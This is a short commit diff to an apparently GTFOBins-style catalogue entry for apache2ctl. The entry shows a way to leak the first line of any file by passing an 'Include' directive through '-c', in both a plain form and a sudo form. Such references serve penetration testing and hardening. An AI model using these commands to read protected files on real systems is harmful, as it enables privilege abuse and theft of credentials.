Simplify apache2ctl

This commit is contained in:
Andrea Cardaci 2023-12-23 12:13:45 +01:00 committed by GitHub
parent 2c9f0de8e5
commit 0190295ed2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,16 +1,12 @@
--- ---
description: apache2ctl is a front end to the Apache HyperText Transfer Protocol (HTTP) server. It is designed to help the administrator control the functioning of the Apache apache2 daemon. description: This includes the file in the actual configuration file, the first line is leaked as an error message.
functions: functions:
file-read: file-read:
- code: cp -r /etc/apache2/ /tmp/apache2 - code: |
- code: | LFILE=file_to_read
LFILE=file_to_read apache2ctl -c "Include $LFILE" -k stop
echo "Include $LFILE" >> /tmp/apache2/apache2.conf sudo:
- code: apache2ctl -d /tmp/apache2 -k restart - code: |
sudo: LFILE=file_to_read
- code: cp -r /etc/apache2/ /tmp/apache2 sudo apache2ctl -c "Include $LFILE" -k stop
- code: |
LFILE=file_to_read
echo "Include $LFILE" >> /tmp/apache2/apache2.conf
- code: sudo apache2ctl -d /tmp/apache2 -k restart
--- ---